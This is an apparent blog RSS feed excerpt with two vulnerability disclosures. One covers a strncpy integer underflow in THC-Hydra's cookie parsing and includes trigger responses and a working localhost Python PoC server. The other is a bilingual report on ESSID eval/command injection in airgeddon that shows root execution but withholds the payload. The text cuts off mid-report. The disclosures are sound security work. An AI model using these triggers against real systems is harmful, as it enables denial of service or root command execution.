passed as the length argument to strncpy(). Since the function expects a size_t length, the negative value is converted into a very large unsigned integer. As a result, the copy operation exceeds the destination buffer boundary and causes an out-of-bounds write.</p><p>On builds with Fortify protections enabled, the Hydra process terminates with:</p><pre>*** buffer overflow detected ***: terminated</pre><p>On less-protected builds, the same invalid length calculation results in an out-of-bounds write.</p><h3>2. Vulnerability Details</h3><h3>2.1 Classification</h3><ul><li><strong>CWE-787 — Out-of-bounds Write:</strong> Memory write beyond the destination buffer boundary.</li><li><strong>CWE-191 — Integer Underflow:</strong> A negative pointer difference is passed to an unsigned length parameter.</li><li><strong>Affected function:</strong> strncpy()</li><li><strong>Affected file:</strong> hydra-http-form.c</li><li><strong>Affected operation:</strong> Parsing and updating HTTP Set-Cookie headers.</li></ul><h3>2.2 CVSS v4.0 Assessment</h3><p><strong>CVSS 4.0 Base Score: 7.1 (High)</strong></p><p>The vulnerability can be triggered through specially crafted HTTP responses delivered to Hydra over the network. Successful exploitation can cause memory corruption and terminate the Hydra client process.</p><h3>2.3 Root Cause — Vulnerable Code</h3><p><strong>File:</strong> hydra-http-form.c</p><p>Vulnerable code:</p><pre>if (ptr != cookie &amp;&amp; *(ptr - 1) == &#39; &#39;) {<br>  strncpy(tmpcookie, cookie, ptr - cookie - 2);<br>  tmpcookie[ptr - cookie - 2] = 0;<br>}</pre><p>The expression ptr - cookie - 2 is used as the length argument to strncpy() without checking whether the result is negative.</p><p>The third argument of strncpy() is a size_t. If the pointer difference evaluates to -1, the value is converted to a very large unsigned integer. Consequently, the copy operation exceeds the intended buffer boundary and causes memory corruption.</p><p>The same invalid value is also used in the following null-terminator assignment:</p><pre>tmpcookie[ptr - cookie - 2] = 0;</pre><p>Therefore, the issue affects both the copy length and the resulting array index.</p><h3>2.4 Trigger Mechanism</h3><p>The vulnerability is triggered using two consecutive HTTP responses.</p><p><strong>First HTTP response:</strong></p><pre>HTTP/1.1 200 OK<br>Set-Cookie:  a=orig; Path=/<br>Content-Length: 0</pre><p>There are two spaces after Set-Cookie:.</p><p>During cookie parsing, the additional whitespace is preserved at the beginning of the cookie data, leaving an unexpected leading character in the cookie jar.</p><p><strong>Second HTTP response:</strong></p><pre>HTTP/1.1 200 OK<br>Set-Cookie: a=newvalue; Path=/<br>Content-Length: 0</pre><p>The second response updates the same cookie using normal formatting.</p><p>When the cookie update mechanism processes the new value, the following expression can produce a negative result:</p><pre>ptr - cookie - 2</pre><p>If the result is -1, it is passed to strncpy(), resulting in an excessively large copy length and an out-of-bounds write.</p><h3>2.5 PoC Payload</h3><p>First response payload:</p><pre>Set-Cookie:  a=orig; Path=/</pre><p>Second response payload:</p><pre>Set-Cookie: a=newvalue; Path=/</pre><p>The whitespace difference between the two responses causes the cookie parsing and update logic to reach the invalid length calculation.</p><h3>2.6 Running the PoC</h3><p>The PoC HTTP server listens on 127.0.0.1:8899.</p><p>Start the PoC server:</p><pre>python3 CVE-2026-133274_THC-Hydra_PoC.py</pre><p>Run Hydra in a separate terminal:</p><pre>./hydra -l test -p test 127.0.0.1 -s 8899 \<br>  http-get-form &quot;/:user=^USER^&amp;pass=^PASS^:F=incorrect&quot; \<br>  -t 1 -d</pre><p>The PoC server handles two HTTP requests and sends the malformed whitespace cookie header followed by the response that updates the same cookie normally.</p><h3>3. Trigger Path and Attack Flow</h3><ol><li>Hydra sends an HTTP form request to the target HTTP server.</li><li>The server returns a Set-Cookie header containing two spaces after the colon.</li><li>Hydra processes the cookie and preserves the additional leading whitespace in the cookie data.</li><li>The server updates the same cookie normally in the next HTTP response.</li><li>Hydra enters the cookie update code path.</li><li>The ptr - cookie - 2 expression produces a negative value.</li><li>The negative value is passed to the size_t length parameter of strncpy().</li><li>An out-of-bounds write occurs and the Hydra process terminates.</li></ol><h3>4. Lab Verification</h3><p>On a Hydra build with Fortify checks enabled, the following error is observed:</p><pre>*** buffer overflow detected ***: terminated</pre><p>This output indicates that the invalid memory operation during cookie parsing is detected by the runtime protection and the Hydra process is aborted.</p><p>On less-protected builds, the same trigger sequence results in out-of-bounds write behavior.</p><h3>5. Impact</h3><p>Successful triggering of this vulnerability can result in:</p><ul><li>Unexpected termination of the Hydra client process.</li><li>Interruption of HTTP form checks.</li><li>Denial of service affecting Hydra.</li><li>Stack-based out-of-bounds write behavior, depending on the build’s memory protection configuration.</li></ul><p>The primary impact demonstrated by the PoC is process termination and denial of service.</p><h3>6. Recommended Fix</h3><p>The ptr - cookie - 2 calculation must not be allowed to produce a negative length.</p><p>The pointer difference should be calculated using a signed type before conversion to size_t, and negative results must be rejected. The copy length should also be limited by the destination buffer capacity.</p><p>Example defensive approach:</p><pre>ptrdiff_t off = ptr - cookie - 2;</pre><pre>if (off &gt;= 0 &amp;&amp; (size_t)off &lt; sizeof(tmpcookie)) {<br>  size_t n = (size_t)off;<br>  memcpy(tmpcookie, cookie, n);<br>  tmpcookie[n] = &#39;\0&#39;;<br>}</pre><h3>PoC Detail</h3><pre>#!/usr/bin/env python3<br>&quot;&quot;&quot;<br>CVE-2026-133274 - local THC-Hydra HTTP cookie parsing PoC server<br><br>Safety:<br>  * Binds only to 127.0.0.1.<br>  * Serves exactly two HTTP connections, then exits.<br>  * Intended only for testing a locally built Hydra instance.<br>&quot;&quot;&quot;<br><br>import socket<br>import sys<br><br>HOST = &quot;127.0.0.1&quot;<br>PORT = 8899<br>MAX_REQUEST_BYTES = 8192<br><br>RESPONSES = (<br>    (<br>        b&quot;HTTP/1.0 200 OK\r\n&quot;<br>        b&quot;Set-Cookie:  a=orig; Path=/\r\n&quot;<br>        b&quot;Content-Length: 2\r\n&quot;<br>        b&quot;Connection: close\r\n&quot;<br>        b&quot;\r\n&quot;<br>        b&quot;hi&quot;<br>    ),<br>    (<br>        b&quot;HTTP/1.0 200 OK\r\n&quot;<br>        b&quot;Set-Cookie: a=newvalue; Path=/\r\n&quot;<br>        b&quot;Content-Length: 2\r\n&quot;<br>        b&quot;Connection: close\r\n&quot;<br>        b&quot;\r\n&quot;<br>        b&quot;hi&quot;<br>    ),<br>)<br><br><br>def receive_request(conn: socket.socket) -&gt; bytes:<br>    &quot;&quot;&quot;Read a bounded amount of the client&#39;s HTTP request.&quot;&quot;&quot;<br>    conn.settimeout(5.0)<br>    chunks = []<br>    total = 0<br><br>    while total &lt; MAX_REQUEST_BYTES:<br>        try:<br>            chunk = conn.recv(min(2048, MAX_REQUEST_BYTES - total))<br>        except socket.timeout:<br>            break<br><br>        if not chunk:<br>            break<br><br>        chunks.append(chunk)<br>        total += len(chunk)<br><br>        if b&quot;\r\n\r\n&quot; in b&quot;&quot;.join(chunks):<br>            break<br><br>    return b&quot;&quot;.join(chunks)<br><br><br>def main() -&gt; int:<br>    print(f&quot;[+] Local Hydra cookie PoC server: http://{HOST}:{PORT}/&quot;)<br>    print(&quot;[+] Waiting for two HTTP requests from the local test client.&quot;)<br><br>    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:<br>        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)<br>        try:<br>            server.bind((HOST, PORT))<br>        except OSError as exc:<br>            print(f&quot;[-] Could not bind {HOST}:{PORT}: {exc}&quot;, file=sys.stderr)<br>            return 1<br><br>        server.listen(5)<br><br>        for index, response in enumerate(RESPONSES, start=1):<br>            try:<br>                conn, address = server.accept()<br>            except KeyboardInterrupt:<br>                print(&quot;\n[!] Interrupted.&quot;)<br>                return 130<br><br>            with conn:<br>                request = receive_request(conn)<br>                first_line = request.split(b&quot;\r\n&quot;, 1)[0] if request else b&quot;&lt;empty&gt;&quot;<br>                print(f&quot;[+] Request {index}/2 from {address[0]}:{address[1]}&quot;)<br>                print(f&quot;    {first_line.decode(&#39;latin-1&#39;, errors=&#39;replace&#39;)}&quot;)<br>                conn.sendall(response)<br>                print(f&quot;[+] Sent response {index}/2&quot;)<br><br>        print(&quot;[+] Two-response sequence completed; server exiting.&quot;)<br><br>    return 0<br><br><br>if __name__ == &quot;__main__&quot;:<br>    raise SystemExit(main())</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=471eafa1c5e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Airgeddon — ESSID-based Eval Injection and OS Command Injection]]></title>
            <link>https://vulnsvnc.medium.com/airgeddon-essid-based-eval-injection-and-os-command-injection-2ae0ff6b024f?source=rss-adecbd3c0560------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ae0ff6b024f</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[airgeddon]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[vulnsvnc]]></category>
            <category><![CDATA[cve]]></category>
            <dc:creator><![CDATA[VulnSVNC]]></dc:creator>
            <pubDate>Thu, 19 Nov 2026 10:56:55 GMT</pubDate>
            <atom:updated>2026-11-19T11:15:37.571Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Ürün / Product:</strong> airgeddon<br> <strong>Etkilenen sürüm / Affected version:</strong> v12.02<br> <strong>Düzeltilmiş sürüm / Fixed version:</strong> v12.10 (varsayılan / assumed — bkz. not / see note below)<br> <strong>Depo / Repository:</strong> <a href="https://github.com/v1s1t0r1sh3r3/airgeddon">https://github.com/v1s1t0r1sh3r3/airgeddon</a><br> <strong>Etkilenen dosya / Affected file:</strong> airgeddon.sh<br> <strong>Zafiyet sınıfı / Vulnerability class:</strong> CWE-95 (Eval Injection) → CWE-78 (OS Command Injection)<br> <strong>Önem derecesi / Severity:</strong> HIGH<br> <strong>Saldırı vektörü / Attack vector:</strong> Adjacent Network (AV:A)<br> <strong>Saldırgan hak düzeyi / Privileges required:</strong> None<br> <strong>Kullanıcı etkileşimi / User interaction:</strong> Required<br> <strong>İlgili kamuya açık advisory / Related public advisory:</strong> <a href="https://github.com/v1s1t0r1sh3r3/airgeddon/security/advisories/GHSA-vfg5-33mv-cmrx">GHSA-vfg5-33mv-cmrx</a><br> <strong>PoC:</strong> poc_local_airgeddon.sh (bu repo içinde / in this repo) — izole harness, payload alanı kasıtlı olarak boş bırakılmıştır (bkz. Bölüm 5)</p><h3>ÖNEMLİ NOT — Çakışan Bildirim / IMPORTANT NOTE — Conflicting Disclosure</h3><p><strong>(TR)</strong> Bu zafiyet bağımsız olarak keşfedilmiş ve <strong>31 Ekim</strong> tarihinde proje bakımcılarına bildirilmiştir.</p><p>GitHub’ın bu depo için yayınladığı resmi advisory kaydı — <strong>GHSA-vfg5–33mv-cmrx</strong>, “Command injection via crafted ESSID in DoS attack command construction” — <strong>12 Kasım 2026</strong>&#39;da yayınlanmış ve kredi başka bir araştırmacıya (OscarAkaElvis) verilmiştir. Advisory’nin yayın tarihi, bakımcıların bildirimi <strong>ne zaman aldığını</strong> değil, advisory’yi <strong>ne zaman yayınladığını</strong> gösterir; bu nedenle hangi bildirimin önce ulaştığı yalnızca bu tarihten kesin olarak çıkarılamaz.</p><p>Bu belge, iki olasılığı da açıkça belirtmek amacıyla hazırlanmıştır:</p><ol><li>Aynı kök nedenin (ESSID → eval → shell) birden fazla araştırmacı tarafından bağımsız olarak keşfedilmiş olması mümkündür (ortak zafiyet sınıfı, farklı çağrı noktaları — bkz. Bölüm 3.4),</li><li>Ya da bildirimler arasında bir örtüşme/çakışma yaşanmış olabilir.</li></ol><p>Her iki durumda da, bu raporun amacı <strong>teknik bulguyu eksiksiz ve zaman damgalı şekilde belgelemek</strong>, kredi tartışmasını bakımcıların ve GitHub’ın coordinated-disclosure sürecine bırakmaktır.</p><p><strong>(EN)</strong> This vulnerability was independently discovered and reported to the project maintainers on <strong>October 31</strong>.</p><p>GitHub’s published advisory for this repository — <strong>GHSA-vfg5–33mv-cmrx</strong>, “Command injection via crafted ESSID in DoS attack command construction” — was published on <strong>November 12, 2026</strong>, with credit assigned to a different researcher (OscarAkaElvis). The advisory’s <em>publish</em> date reflects when the maintainers made it public, not necessarily when they <em>received</em> either report, so report ordering cannot be determined from that date alone.</p><p>This document is written to state both possibilities plainly:</p><ol><li>The same root cause (ESSID → eval → shell) may have been independently discovered by more than one researcher via different call sites (see Section 3.4), or</li><li>The two reports may genuinely overlap/conflict.</li></ol><p>Either way, the purpose here is to document the technical finding completely and with timestamps, and to leave the credit question to the maintainers’ and GitHub’s coordinated-disclosure process.</p><h3>TÜRKÇE RAPOR</h3><h3>1. Yönetici Özeti</h3><p>airgeddon, genellikle root yetkisiyle çalıştırılan Bash tabanlı bir kablosuz ağ güvenlik denetim aracıdır.</p><p>Kaynak kod analizinde, çevredeki kablosuz ağlardan elde edilen <strong>ESSID</strong> değerlerinin, yeterli girdi doğrulaması veya shell kaçışlaması yapılmadan komut dizelerine dahil edildiği tespit edilmiştir.</p><p>Tespit edilen çalışma yolu, dışarıdan kontrol edilebilen bir ESSID değerinin bir saldırı komut dizesine gömülmesine izin vermektedir. Bu dize daha sonra manage_output() fonksiyonu içinde Bash&#39;in eval yerleşik komutu kullanılarak işlenmektedir.</p><p>Sonuç olarak, saldırgan kontrolündeki bir erişim noktasının ESSID’ine gömülen özel olarak hazırlanmış shell ifadeleri, kullanıcı bu kötü amaçlı ağı seçip ilgili saldırı modülünü başlattığında kurbanın sisteminde yorumlanıp çalıştırılabilir.</p><p>Zafiyet, değiştirilmemiş airgeddon.sh betiği kullanılarak kontrollü bir laboratuvar ortamında başarıyla yeniden üretilmiştir. Kanıt amaçlı (PoC) yük olarak zararsız bir id komutu kullanılmıştır. Test, enjekte edilen komutun airgeddon sürecinin sahip olduğu yetkilerle (root dahil) çalıştığını doğrulamıştır.</p><p><strong>Birincil güvenlik etkisi:</strong> Kablosuz menzildeki bir saldırgan, bir erişim noktasının ESSID’ini manipüle ederek airgeddon çalıştıran bir sistemde keyfi işletim sistemi komutu çalıştırabilir.</p><h3>2. Etkilenen Bileşenler</h3><p>BileşenDetayÜrünairgeddonSürümv12.02Depov1s1t0r1sh3r3/airgeddonEtkilenen dosyaairgeddon.shBirincil sink (alıcı nokta)manage_output()Örnek çağrı noktasıexec_wdsconfusion()Diğer etkilenen yollarDoS Pursuit Mode, WIDS/WIPS/WDS Confusion, Beacon FloodZafiyetEval Injection / OS Command Injection</p><h3>3. Kök Neden Analizi</h3><h4>3.1 Taint (Kirlenme) Akışı</h4><p>AşamaAçıklamaKaynakESSID değerleri, airodump-ng veya wash gibi araçlar aracılığıyla 802.11 beacon/probe frame&#39;lerinden elde edilir.AtamaKullanıcı taranan bir ağı seçtiğinde, ham ESSID yeterli temizleme yapılmadan essid değişkenine atanır.YayılmaESSID, bir saldırı komut dizesine birleştirilir (concatenate).SinkOluşan komut dizesi manage_output()&#39;a ulaşır ve burada Bash eval ile değerlendirilir.</p><p>ESSID değerleri dışarıdaki bir kablosuz erişim noktası tarafından belirlenebildiğinden, güvenilmeyen girdi olarak ele alınmaları gerekir.</p><h4>3.2 Zafiyetli Kod — manage_output()</h4><p>bash</p><pre>function manage_output() {<br>  ...<br>  xterm_parameters=&quot;${1}&quot;<br>  tmux_command_line=&quot;${2}&quot;<br>  xterm_command_line=&quot;\&quot;${2}\&quot;&quot;<br>  ...<br>  case &quot;${AIRGEDDON_WINDOWS_HANDLING}&quot; in<br>    &quot;xterm&quot;)<br>      eval &quot;xterm ${xterm_parameters} -e ${xterm_command_line}${command_tail}&quot;<br>      ;;<br>  esac<br>}</pre><h4>3.3 Örnek Çağrı Noktası — exec_wdsconfusion()</h4><p>bash</p><pre>manage_output &quot;+j -bg \&quot;#000000\&quot; -fg \&quot;#FF0000\&quot; -geometry ${g1_topleft_window} \<br>-T \&quot;wids / wips / wds confusion attack\&quot;&quot; \<br>&quot;${mdk_command} ${interface} w -e &#39;${essid}&#39; -c ${channel}&quot; \<br>&quot;wids / wips / wds confusion attack&quot; &quot;active&quot;</pre><p>ESSID başlangıçta tek tırnak içine alınmış olsa da, oluşan komut dizesi daha sonra eval üzerinden işlenir. eval kullanımı ikinci bir shell ayrıştırma (parsing) aşaması getirir; bu nedenle ilk tırnaklama, komut ikamesine ($(), `) veya diğer shell metakarakterlerine karşı güvenilir bir koruma sağlamaz.</p><h4>3.4 Diğer Etkilenen Kod Yolları</h4><p>Aynı genel örüntü aşağıdaki saldırı yürütme yollarında da tespit edilmiştir:</p><ul><li><strong>Yaklaşık satır 5542 ve 5554:</strong> mdk_command ve ESSID değerlerini içeren DoS Pursuit Mode komutları.</li><li><strong>Yaklaşık satır 5817:</strong> WIDS/WIPS/WDS Confusion saldırısı.</li><li><strong>Yaklaşık satır 5846:</strong> Beacon Flood saldırısı.</li><li><strong>Yaklaşık satır 20096:</strong> manage_output() içindeki paylaşılan komut çalıştırma mantığı.</li></ul><blockquote><em>Not: Satır referansları incelenen kaynak anlık görüntüsüne dayanmaktadır ve düzeltme öncesinde tam v12.02 sürümüne karşı doğrulanmalıdır.</em></blockquote><h3>4. Teknik Detaylar</h3><p>Birincil sorun, eval ile birleştirilmiş dinamik olarak oluşturulan shell komutlarının kullanılmasıdır. İlgili güvenlik zafiyetleri:</p><ol><li><strong>Yetersiz Girdi Doğrulama:</strong> ESSID değerleri komut dizelerine dahil edilmeden önce yeterince doğrulanmamaktadır.</li><li><strong>Eksik Shell Kaçışlaması:</strong> Güvenilmeyen girdi, komut çalıştırma katmanına geçirilmeden önce güvenli şekilde kodlanmamaktadır.</li><li><strong>eval&#39;in Güvensiz Kullanımı:</strong> Komutlar, düzgün tırnaklanmış Bash argüman dizileri ile çalıştırılmak yerine dize olarak oluşturulup değerlendirilmektedir.</li><li><strong>Güven Sınırı İhlali:</strong> ESSID değerleri, dışarıdan kontrol edilebilen kablosuz ağ meta verisi olmalarına rağmen güvenilir yapılandırma verisi gibi ele alınmaktadır.</li></ol><p>Bu sorunların birleşimi, saldırgan kontrolündeki kablosuz meta veriden işletim sistemi komut çalıştırmaya giden potansiyel bir yol oluşturmaktadır.</p><h3>5. Kanıt Amaçlı Gösterim (PoC)</h3><h4>5.1 Gerçek Ortamda Test</h4><p>ParametreDeğerİşletim sistemiUbuntuÇalıştırma ortamıFiziksel makineKaynakairgeddon GitHub deposuDal (branch)masterÇalıştırma yetkisiRootBaşlatma komutusudo bash airgeddon.shPencere yönetimiAIRGEDDON_WINDOWS_HANDLING=xtermTest yüküZararsız id komutuHedef sürümv12.02</p><p><strong>Test Prosedürü:</strong></p><ol><li>Zararsız bir komut-ikamesi test dizesi içeren ESSID’e sahip bir kablosuz erişim noktası yapılandırıldı.</li><li>airgeddon, test sisteminde root yetkisiyle başlatıldı.</li><li>Kablosuz arayüz monitör moduna alındı.</li><li>Hedef keşif işlevi kullanılarak çevredeki erişim noktaları tarandı.</li><li>Özel olarak hazırlanmış ESSID, keşfedilen ağ listesinde göründü.</li><li>Ağ, hedef olarak seçildi.</li><li>WIDS/WIPS/WDS Confusion saldırı modülü başlatıldı.</li><li>Ardından dosya sistemi beklenen test işaretçisi için incelendi.</li></ol><p><strong>Gözlemlenen Sonuç:</strong></p><pre>$ ls -la /tmp/poc_marker.txt<br>-rw-r--r-- 1 root root 40 Oct 31 15:30 /tmp/poc_marker.txt</pre><pre>$ cat /tmp/poc_marker.txt<br>uid=0(root) gid=0(root) groups=0(root)</pre><p>Elde edilen dosya sahipliği ve komut çıktısı, test komutunun root yetkisiyle çalıştığını göstermektedir.</p><h4>5.2 İzole / Yerel PoC Harness’i</h4><p>Gerçek kablosuz donanım, airodump-ng/wash ya da airgeddon&#39;un kendisi olmadan kök nedeni göstermek için bu repoda ayrıca poc_local_airgeddon.sh dosyası bulunmaktadır.</p><p>Bu harness:</p><ul><li>exec_wdsconfusion() → manage_output() çağrı zincirini izole bir kopya olarak taklit eder,</li><li>Zafiyetli eval satırını birebir aynı mantıkla yeniden üretir,</li><li>Bir PROOF_FILE oluşup oluşmadığını kontrol ederek sonucu raporlar.</li></ul><p><strong>Önemli:</strong> Harness içindeki INJECTED_ESSID değişkeni <strong>kasıtlı olarak placeholder</strong> (&lt;INJECT_HERE&gt;) olarak bırakılmıştır ve çalışan bir komut enjeksiyonu string&#39;i içermez. Bu, dosyanın kamuya açık şekilde (GitHub dahil) paylaşılmasını, zafiyeti doğrudan silah haline getirecek bir payload yaymadan, kök nedeni ve çağrı akışını göstermek amacıyla tasarlanmıştır. Alanı doldurmak ve gerçek bir komut ikamesi ($() veya `) ile test etmek isteyen biri bunu yalnızca kendi izole/lab ortamında yapmalıdır.</p><h4>5.3 İkincil Gözlem</h4><p>ESSID’in literal çift tırnak karakteri içermesi durumunda ayrı bir ayrıştırma sorunu gözlemlenmiştir. Bu durum şuna benzer bir shell ayrıştırma hatasına yol açmıştır:</p><pre>unexpected EOF while looking for matching quote</pre><p>Bu davranış, ilgili komut çalıştırma yolunu bozarak ek olarak hizmet reddine (DoS) de yol açabilir.</p><h3>6. Güvenlik Etkisi</h3><p>Güvenlik ÖzelliğiEtkiAçıklamaGizlilikYüksekDosyalara ve hassas sistem bilgilerine yetkisiz erişimBütünlükYüksekSistem dosyalarının ve uygulama yapılandırmalarının değiştirilmesiErişilebilirlikYüksekSistem hizmetlerini aksatabilecek komutların çalıştırılması</p><p><strong>Saldırı karmaşıklığı:</strong> Saldırı, hazırlanmış bir ESSID yayınlayan saldırgan kontrolündeki bir kablosuz erişim noktası gerektirir. Kurbanın: airgeddon’u çalıştırması, kötü amaçlı erişim noktasını keşfetmesi, onu hedef olarak seçmesi ve etkilenen bir saldırı modülünü başlatması gerekir. Saldırgan tarafında önceden kimlik doğrulama veya yükseltilmiş yetki gerekmez. Çalıştırılan komut, airgeddon sürecinin yetkilerini devralır; airgeddon root olarak çalışıyorsa etki tam sistem ele geçirmeye kadar genişleyebilir.</p><h3>7. Önerilen Düzeltme</h3><p><strong>7.1 Güvensiz </strong><strong>eval Kullanımını Ortadan Kaldırın</strong> Tercih edilen çözüm, dinamik olarak oluşturulan shell komut dizelerini ortadan kaldırmaktır. Argüman sınırlarını korumak ve ek shell ayrıştırmasını önlemek için Bash argüman dizileri kullanılmalıdır:</p><p>bash</p><pre>cmd=(xterm &quot;${params[@]}&quot; -e &quot;${inner_cmd[@]}&quot;)<br>&quot;${cmd[@]}&quot;</pre><p>Uygulama, tüm argümanların tek bir çalıştırılabilir dizeye birleştirilmek yerine ayrı ayrı geçirilmesini sağlamalıdır.</p><p><strong>7.2 Güvenli Girdi İşleme Uygulayın</strong> ESSID değerleri güvenilmeyen dış girdi olarak ele alınmalı, shell komutlarına doğrudan enterpole edilmemelidir. Shell serileştirmesinin gerçekten kaçınılmaz olduğu yerlerde uygun bağlama özgü kaçışlama uygulanmalıdır; ancak kaçışlama, eval&#39;i ortadan kaldırmanın yerine geçmemelidir.</p><p><strong>7.3 Girdi Doğrulaması Getirin</strong> ESSID, BSSID, kanal bilgisi ve tarama araçlarından gelen diğer değerler dahil olmak üzere dışarıdan sağlanan kablosuz meta veriler için merkezi doğrulama uygulanmalıdır. Doğrulama, uygulamanın gerçek gereksinimlerini ve ilgili IEEE 802.11 alan kısıtlamalarını takip etmelidir. Yalnızca özel karakter içerdikleri için meşru ESSID değerleri gereksiz yere reddedilmemelidir.</p><p><strong>7.4 Güvenli Komut Çalıştırmayı Merkezileştirin</strong> Merkezi bir komut çalıştırma mekanizması getirilmelidir. Tüm dış süreç çağrıları düzgün tırnaklanmış argümanlar kullanmalı ve mümkün olduğunca shell yorumlamasından kaçınmalıdır. Bu, benzer enjeksiyon zafiyetlerinin diğer modüllerde ortaya çıkma olasılığını azaltacaktır.</p><h3>8. İfşa ve Bildirim</h3><p>Bu rapor, airgeddon proje bakımcılarına sorumlu ifşa (responsible disclosure) amacıyla hazırlanmıştır. Zafiyet 31 Ekim’de bakımcılara bildirilmiş, GitHub ise aynı kök neden için 12 Kasım 2026&#39;da GHSA-vfg5–33mv-cmrx advisory’sini yayınlamıştır. Bu belge ve ekli PoC harness’i, advisory zaten kamuya açık olduğu için ve çalışan bir exploit payload’ı içermediği için paylaşılmaktadır; kredi ve bildirim sırası tartışması bakımcıların ve GitHub’ın coordinated-disclosure sürecine bırakılmıştır.</p><h3>9. Nihai Değerlendirme</h3><p>İncelenen uygulama, dışarıdan kontrol edilebilen ESSID değerleri ile dinamik olarak değerlendirilen Bash komut dizeleri arasında güvensiz bir etkileşim göstermektedir. Paylaşılan komut çalıştırma yolunda eval kullanımı, saldırgan kontrolündeki bir kablosuz ağ adının kurbanın sistemindeki komut çalıştırmayı etkilemesine izin verebilecek potansiyel bir enjeksiyon zafiyeti yaratmaktadır. Zararsız bir id komutu kullanılarak yapılan başarılı laboratuvar yeniden üretimi, test ortamında root seviyesinde komut çalıştırmaya dair kanıt sağlamaktadır.</p><ul><li><strong>Önem değerlendirmesi:</strong> YÜKSEK</li><li><strong>Etkilenen ürün:</strong> airgeddon</li><li><strong>Bildirilen ürün sürümü:</strong> v12.02</li><li><strong>Zafiyet sınıflandırması:</strong> CWE-95 / CWE-78</li><li><strong>Birincil etki:</strong> Keyfi OS Komutu Çalıştırma</li><li><strong>Önerilen öncelik:</strong> Yüksek — hızlı düzeltme önerilir.</li></ul><h3>ENGLISH REPORT</h3><h3>1. Executive Summary</h3><p>airgeddon is a Bash-based wireless network security auditing tool that is commonly executed with root privileges.</p><p>During source code analysis, it was identified that ESSID (Extended Service Set Identifier) values obtained from nearby wireless networks are incorporated into command strings without sufficient input validation or shell escaping.</p><p>The identified execution path allows an externally controlled ESSID value to be embedded into an attack command string. This string is subsequently processed using the Bash eval built-in command within the manage_output() function.</p><p>As a result, specially crafted shell expressions embedded in an attacker-controlled access point’s ESSID may be interpreted and executed on the victim’s system when the user selects the malicious network and launches the corresponding attack module.</p><p>The vulnerability was successfully reproduced in a controlled laboratory environment using the unmodified airgeddon.sh script. A harmless id command was used as the proof-of-concept payload. The test confirmed that the injected command was executed with the same privileges as the airgeddon process, including root privileges.</p><p><strong>Primary Security Impact:</strong> An attacker within wireless range may be able to achieve arbitrary operating system command execution on a system running airgeddon by manipulating an access point’s ESSID.</p><h3>2. Affected Components</h3><p>ComponentDetailsProductairgeddonProduct Versionv12.02Repositoryv1s1t0r1sh3r3/airgeddonAffected Fileairgeddon.shPrimary Sinkmanage_output()Example Call Siteexec_wdsconfusion()Additional Affected PathsDoS Pursuit Mode, WIDS/WIPS/WDS Confusion, Beacon FloodVulnerabilityEval Injection / OS Command Injection</p><h3>3. Root Cause Analysis</h3><h4>3.1 Taint Flow</h4><p>StageDescriptionSourceESSID values obtained from 802.11 beacon/probe frames through tools such as airodump-ng or wash.AssignmentWhen a user selects a discovered network, its raw ESSID is assigned to the essid variable without sufficient sanitization.PropagationThe ESSID is concatenated into an attack command string.SinkThe resulting command string reaches manage_output(), where it is evaluated using Bash eval.</p><p>Because ESSID values can be controlled by an external wireless access point, they must be treated as untrusted input.</p><h4>3.2 Vulnerable Code — manage_output()</h4><p>bash</p><pre>function manage_output() {<br>  ...<br>  xterm_parameters=&quot;${1}&quot;<br>  tmux_command_line=&quot;${2}&quot;<br>  xterm_command_line=&quot;\&quot;${2}\&quot;&quot;<br>  ...<br>  case &quot;${AIRGEDDON_WINDOWS_HANDLING}&quot; in<br>    &quot;xterm&quot;)<br>      eval &quot;xterm ${xterm_parameters} -e ${xterm_command_line}${command_tail}&quot;<br>      ;;<br>  esac<br>}</pre><h4>3.3 Example Call Site — exec_wdsconfusion()</h4><p>bash</p><pre>manage_output &quot;+j -bg \&quot;#000000\&quot; -fg \&quot;#FF0000\&quot; -geometry ${g1_topleft_window} \<br>-T \&quot;wids / wips / wds confusion attack\&quot;&quot; \<br>&quot;${mdk_command} ${interface} w -e &#39;${essid}&#39; -c ${channel}&quot; \<br>&quot;wids / wips / wds confusion attack&quot; &quot;active&quot;</pre><p>Although the ESSID is initially enclosed in single quotes, the resulting command string is subsequently processed through eval. The use of eval introduces another shell parsing stage; consequently, the original quoting does not provide reliable protection against command substitution ($(), `) or other shell metacharacters.</p><h4>3.4 Additional Affected Code Paths</h4><p>The same general pattern was identified in additional attack execution paths:</p><ul><li><strong>Approximately line 5542 and 5554:</strong> DoS Pursuit Mode commands involving mdk_command and ESSID values.</li><li><strong>Approximately line 5817:</strong> WIDS/WIPS/WDS Confusion attack.</li><li><strong>Approximately line 5846:</strong> Beacon Flood attack.</li><li><strong>Approximately line 20096:</strong> Shared command execution logic in manage_output().</li></ul><blockquote><em>Note: Line references are based on the reviewed source snapshot and should be verified against the exact v12.02 release before remediation.</em></blockquote><h3>4. Technical Details</h3><p>The primary issue is the use of dynamically constructed shell commands combined with eval. The relevant security weaknesses are:</p><ol><li><strong>Insufficient Input Validation:</strong> ESSID values are not adequately validated before being incorporated into command strings.</li><li><strong>Missing Shell Escaping:</strong> Untrusted input is not safely encoded before being passed to the command execution layer.</li><li><strong>Unsafe Use of </strong><strong>eval:</strong> Commands are constructed as strings and evaluated instead of being executed using properly quoted Bash argument arrays.</li><li><strong>Trust Boundary Violation:</strong> ESSID values are treated as trusted configuration data despite being externally controlled wireless network metadata.</li></ol><p>The combination of these issues creates a potential path from attacker-controlled wireless metadata to operating system command execution.</p><h3>5. Proof of Concept (PoC)</h3><h4>5.1 Real-Environment Test</h4><p>ParameterValueOperating SystemUbuntuExecution EnvironmentPhysical machineSourceairgeddon GitHub repositoryBranchmasterExecution PrivilegesRootLaunch Commandsudo bash airgeddon.shWindow ManagementAIRGEDDON_WINDOWS_HANDLING=xtermTest PayloadHarmless id commandTarget Versionv12.02</p><p><strong>Test Procedure:</strong></p><ol><li>A wireless access point was configured with an ESSID containing a harmless command-substitution test string.</li><li>airgeddon was launched on the test system with root privileges.</li><li>The wireless interface was switched into monitor mode.</li><li>The target discovery functionality was used to scan nearby access points.</li><li>The specially crafted ESSID appeared in the discovered network list.</li><li>The network was selected as the target.</li><li>The 